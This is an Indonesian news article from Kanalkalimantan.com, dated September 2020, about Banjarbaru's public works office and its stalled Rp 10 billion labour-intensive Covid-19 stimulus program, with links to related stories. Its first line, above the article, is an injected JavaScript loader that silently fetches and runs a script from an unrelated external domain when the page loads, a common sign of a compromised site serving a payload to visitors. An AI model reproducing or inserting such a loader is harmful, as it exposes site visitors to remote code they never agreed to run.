(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Penyebaran Covid-19 berdampak pada pertumbuhan ekonomi masyarakat. Beberapa waktu lalu, Pemko Banjarbaru telah menyusun anggaran khusus dalam upaya stimulus ekonomi dengan melaksanakan berbagai kegiatan. Salah satunya memberdayakan swakelola masyarakat dalam kegiatan pembangunan infrastruktur melalui program padat karya, cetusan Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru.
Sayangnya, rencana tersebut sampai saat ini belum mampu digenjot pelaksanaannya. Hal itu menyusul belum adanya payung hukum pelaksanaan kegiatan, yang mana dimaksudkan ialah Peraturan Wali Kota atau biasa disebut Perwali.
Kepala Dinas PUPR Banjarbaru, Jaya Kresna, mengakui pihaknya telah mendorong agar Perwali yang mengatur teknis pelaksanaan program padat karya itu dapat secepatnya terbentuk. Terlebih lagi, dari pihaknya sendiri telah mencapai kata sepakat dengan pihak Lembaga Pemberdayaan Masyarakat (LPM) sebagai mitra penyalur tenaga kerja di tiap-tiap kelurahan.
“Harapan kami, paling lambat akhir September sudah bisa melaksanakan kegiatan di lapangan,” katanya, Kamis (10/9/2020).
Kendati hanya tinggal beberapa bulan lagi sebelum pergantian tahun, Jaya tetap optimis bahwa stimulus ekonomi melalui program pihaknya masih bisa berjalan sesuai target yang ditentukan.
“Ya, kita yakin saja kegiatan program padat karya ini bisa selesai dengan target yang ditentukan,” akunya.
Lantas, bagaimana jika hingga pada akhir September, kegiatan belum berjalan? Dalam hal ini, ujar Jaya, pihaknya akan melakukan evaluasi.
Dimaksudkannya ialah merevisi pelaksaan kegiatan dengan target waktu penyelesaikan. Yang artinya juga turut mengerucutkan anggaran yang disediakan.
“Karena kegiatan padat karya bentuknya kontraktual, maka kita bisa saja merevisi pelaksanaan kegiatan. Contohnya, pembangunan jalan sepanjang 500 meter.
Nah, itu kita kurangi menjadi 300 meter saja. Sehingga target waktu masih bisa terkejar. Tentu, ini juga berpengaruh pada anggaran yang kita kucurkan,” pungkas Kepala Dinas PUPR.
Paket-paket pengerjaan yang diusulkan melalui program padat karya ini secara umum bersifat pemeliharaan saja dan berlokasi di 20 kelurahan di Banjarbaru.
Terdiri dari masing-masing bidang Dinas PUPR, seperti halnya pembangunan jalan, membersikan sampah atau gulma di sepanjang jembatan, hingga drainase lingkungan.
Total anggaran seluruh paket pengerjaan yang diusulkan ini mencapai kurang lebih Rp 10 miliar. Anggaran stimulus ekonomi di Dinas PUPR tersebut disalurkan melalui anggaran penanganan Covid-19 di Kota Banjarbaru bersumber dari dana BTT (Belanja Tidak Terduga) sebesar Rp 167 miliar. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyiapkan pembentukan Dewan Pengawas Perumdam Tirta Pambelom.… Read More
KANALKALIMANTAN.COM, PARINGIN - Dinas Perhubungan (Dishub) Kabupaten Balangan memasang ratusan unit Penerangan Jalan Umum (PJU)… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas, H MuhamMad Wiyatno menghadiri Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
This website uses cookies.